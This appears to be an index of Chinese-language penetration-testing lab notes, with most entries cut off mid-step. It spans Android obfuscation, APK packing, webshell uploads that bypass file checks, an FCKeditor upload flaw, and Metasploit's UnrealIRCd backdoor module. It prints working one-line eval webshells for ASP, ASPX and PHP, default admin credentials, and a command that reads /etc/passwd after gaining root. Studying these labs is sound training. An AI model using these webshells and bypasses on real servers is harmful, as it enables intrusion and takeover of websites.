代码混淆
代码混淆目的:
JAVA编程实现Android手机代码混淆,并使用反编译查看效果
原理:
代码混淆(Obfuscated code)亦称花指令,是保护APP常见技术之一,方法是将程序代码转换成一种功能上等价,但是难于阅读和理解的形式,本实验介绍使用代码混淆技术对抗静态分析。混淆就是对发布出去的程序进行重新组织和处理,使得处理后的代码与处理前代码完成相同的功能,而混淆后的代码很难被反编译,即使反编译成功也很难得出程序的真正语义。被混淆过的程序代码,仍然遵照原来的档案格式和指令集,执行结果也与混淆前一样,只是混淆器将代码中的所有变量、函数、类的名称变为简短的英文字母代号,在缺乏相应的函数名和程序注释的情况下,即使被反编译,也将难以阅读。同时混淆是不可逆的,在混淆的过程中一些不影响正常运行的信息将永久丢失,这些信息的丢失使程序变得更加难以理解。混淆器的作用不仅仅是保护代码,它也有精简编译后程序大小的作用。由于以上介绍的缩短变量和函数名以及丢失部分信息的原因,编译后jar文件体积大约能减少25% ,这对当前费用较贵的无线网络传输是有一定意义的。
过程:
打开Eclipse,依次按照N ...
APP加壳
APP加壳目的:
熟悉常用Android编译工具的使用
原理:
APP加壳是在二进制的程序中植入一段代码,在程序的外面再包裹上一段代码,在运行的时候优先取得程序的控制权,保护里面的代码不被非法修改或反编译。
AndroidDex文件加壳涉及到三个程序:①加壳程序:对源Apk进行加密和脱壳项目的Dex的合并;②脱壳程序:解密壳数据;③源程序:需要加壳处理的被保护代码。
APP加壳的优势在于保护核心代码,提高破解的难度,还可以缓解代码注注入攻击。缺点是影响程序的运行效率。
过程:
导入项目ForceApkObj,点击源程序项目。
右键项目,选择Android Tools,Export Signed Application Package
默认,点击next
选择create keystore,点击browse选择目录,密码随便设(123456),填完参数点击next
创建密钥信息(SimpleEdu11;123456;123456;100;SimpleEdu),点击next
选择APK生成位置,点击Browse,默认为SimpleEdu11
点击finish完成操作
成功生成 ...
南方企业内容管理系统漏洞
南方企业内容管理系统漏洞目的:
熟悉南方数据企业网站管理系统
学习南方数据企业网站管理系统常见渗透手法
原理:
数据库备份拿webshell
过程:
浏览器输入http://192.168.1.3:8002/admin/Login.asp,进入后台
输入admin和密码123456,进入到后台管理界面
在荣誉管理选项卡下,选择添加企业荣誉,即可弹出可上传文件页面
点击浏览上传木马文件,把1.asp修改为1.jpg,点击上传
得到文件地址UploadFiles/xxxxxxxxxxxxx.jpg
打开系统管理下的数据库备份,即可进入数据库备份页面,并将刚刚得到的木马文件的路径复制到当前数据库路径,并填写数据库备份名称ok.asp
点击确定,即可得到数据库备份的路径admin/Databackup/ok.asp.asa
在火狐浏览器输入http://192.168.1.3:8002/admin/Databackup/ok.asp,即可访问木马,已经成功拿到webshell(密码:123456)
中国菜刀配合一句话木马基本使用
中国菜刀配合一句话木马基本使用目的:
学习一句话木马
学习菜刀的使用
原理:菜刀的主要功能是用来连接一句话木马的,asp、aspx、php的一句话菜刀都可以连,只是这几种一句话语句不一样。
asp的一句话是:<%eval request(“pass”)%>
aspx的一句话是:<%@ Page Language=”Jscript”%><%eval(Request.Item["pass"],”unsafe”);%>
php的一句话是:<?php @eval($_POST['pass']);?>
过程:
打开火狐,http://192.168.1.3:8080/up,打开文件上传漏洞演示脚本,点击中国菜刀连接一句话木马![image-20211228105130236](http://121.5.125.62/image/%E4%B8%AD%E5%9B%BD%E8%8F%9C%E5%88%80%E9%85%8D%E5%90%88%E4%B8%80%E5%8F%A5%E8%AF%9D%E6%9 ...
图片木马绕过文件内容检测上传webshell
图片木马绕过文件内容检测上传webshell目的:
理解绕过内容验证上传的原理
学习绕过内容验证上传的过程
原理
一般文件内容验证使用getimagesize()函数检测,会判断文件是否是一个有效的文件图片,如果是,则允许上传,否则的话不允许上传
本实例就是将一句话木马插入到一个【合法】的图片文件当中,然后用中国菜刀远程连接
过程:
打开火狐,进入网址http://192.168.1.3:8080/up,进入构造图片马绕过上传webshell![image-20211228104158522](http://121.5.125.62/image/%E5%9B%BE%E7%89%87%E6%9C%A8%E9%A9%AC%E7%BB%95%E8%BF%87%E6%96%87%E4%BB%B6%E5%86%85%E5%AE%B9%E6%A3%80%E6%B5%8B%E4%B8%8A%E4%BC%A0webshell/image-20211228104158522.png)
选择上传木马,后缀php改为php.jpg
点击上传,提示错误
制作图片马,将要上传的木马与图片一个文件下
...
绕过content_type检测文件类型上传webshell
绕过content_type检测文件类型上传webshell目的:
理解绕过Content-Type检测文件类型上传的原理
学习绕过Content-Type检测文件类型上传的过程
原理:
当浏览器在上传文件到服务器的时候,服务器对说上传文件的Content-Type类型进行检测,如果是白名单允许的,则可以正常上传,否则上传失败。
绕过Content–Type文件类型检测,就是用BurpSuite截取并修改数据包中文件的Content-Type类型,使其符合白名单的规则,达到上传的目的。
过程:
打开火狐浏览器,修改代理127.0.0.1:8080
打开burp,点击intercept is off
打开浏览器,输入http://192.168.1.3:8080/up,进入文件上传漏洞演示脚本,点击content_type检测文件类型上传webshell。![image-20211228103256712](http://121.5.125.62/image/%E7%BB%95%E8%BF%87content-type%E6%A3%80%E6%B5%8B%E6%96%87% ...
绕过前台脚本检测扩展名上传webshell
目的:
理解绕过前台脚本检测扩展名上传的原理
学习绕过前台脚本检测扩展名上传的过程
原理:
当用户在客户端选择文件点击上传的时候,客户端还没有向服务器发送任何消息,就对本地文件进行检测来判断是否是可以上传的类型,这种方式称为前台脚本检测扩展名
绕过前台脚本检测扩展名,就是将所要上传文件的扩展名更改为符合脚本检测规则的扩展名,通过BurpSuite工具,截取数据包,并将数据包中文件扩展名更改回原来的,达到绕过的目的
过程:
打开火狐,设置代理为127.0.0.1:8080
打开burp,点击proxy下的intercept,intercept is off,同样要在options标签设置代理,端口与浏览器设置一致
绕过验证
在火狐输入地址http://ip:8080/up,进入文件上传漏洞演示脚本,点击绕过前台脚本检测扩展名上传Webshell
点击浏览,上传木马,后缀为php,前台显示错误窗口
打开burp打开抓包,将php后缀修改为jpg后重新上传文件
Burp抓到包后,将文件后缀修改为php
点击forward ...
Fckeditor漏洞上传webshell
目的:Fckeditor为在线网页编辑器。本实验演示Fckeditor2.4.2以下版本的一个编辑器上传漏洞。
原理:Fckeditor在2.4.2以下存在一个直接上传任意文件的上传页面,可直接上传webshell。
过程:
打开网站http://ip:8001/fckeditor,判断是否有fckeditor编辑器,出现403禁止访问,说明此目录存在
判断fckeditor编辑器版本号,输入http://ip:8001/FCKeditor/_whatsnew.html,返回页面可知fckeditor版本为2.0
此版本的fckeditor存在两个上传漏洞页面:FCKeditor/editor/filemanager/browser/default/browser.html?type=Image&connector=connectors/asp/connector.aspFCKeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=GetFoldersAndFiles& ...
metasploit之PostgreSQL
metasploit之PostgreSQL目的: Metasploit自带数据库(PostgreSQL)操作原理:db_status 查看数据库连接状态
db_connect 链接数据库
db_disconnect 断开连接
vulns 查看数据库扫描的主机的漏洞
workspace 工作空间,相对于独立的
过程:打开终端,运行msfconsole,db_status查看数据库连接状态,如果已连接执行db_disconnect
exit退出软件,执行service postgresql start,启动数据库,netstat -ntlp | grep postgre查询是否启动成功,端口为5432
重新运行msf,db_status查看是否连接数据库
db_disconnect断开连接,db_status查看连接状态
手动使用命令连接数据库,须知数据库名,用户名,ip以及密码,新建窗口,查询数据库配置文件,执行find / -name database.yml
cat /usr/share/metasploit-framework/config/d ...
metasploit溢出UnrealIRCd后门漏洞
metasploit溢出UnrealIRCd后门漏洞目的:利用UnrealIRCd后门漏洞,获取目标主机的root权限原理:某些站点的UnrealIRCd,在DEBUG3_DOLOG_SYSTEM宏中包含外部引入的恶意代码,远程攻击者能够执行任意代码。过程:利用nmap扫描主机,确定6667端口开放,对应服务为unreal ircd
终端输入msfconsole,进入msf后输入search unreal ircd,搜索相关工具和攻击载荷
终端输入命令use exploit/unix/irc/unreal_ircd_3281backdoor,启用漏洞模块
输入show options,查看需要设置的相关选项设置目标ip
run或者exploit,开始攻击,攻击成功后,建立shell会话
终端输入whoami,查看权限root,输入cat /etc/passwd,查看系统账户
本机4444端口建立远程会话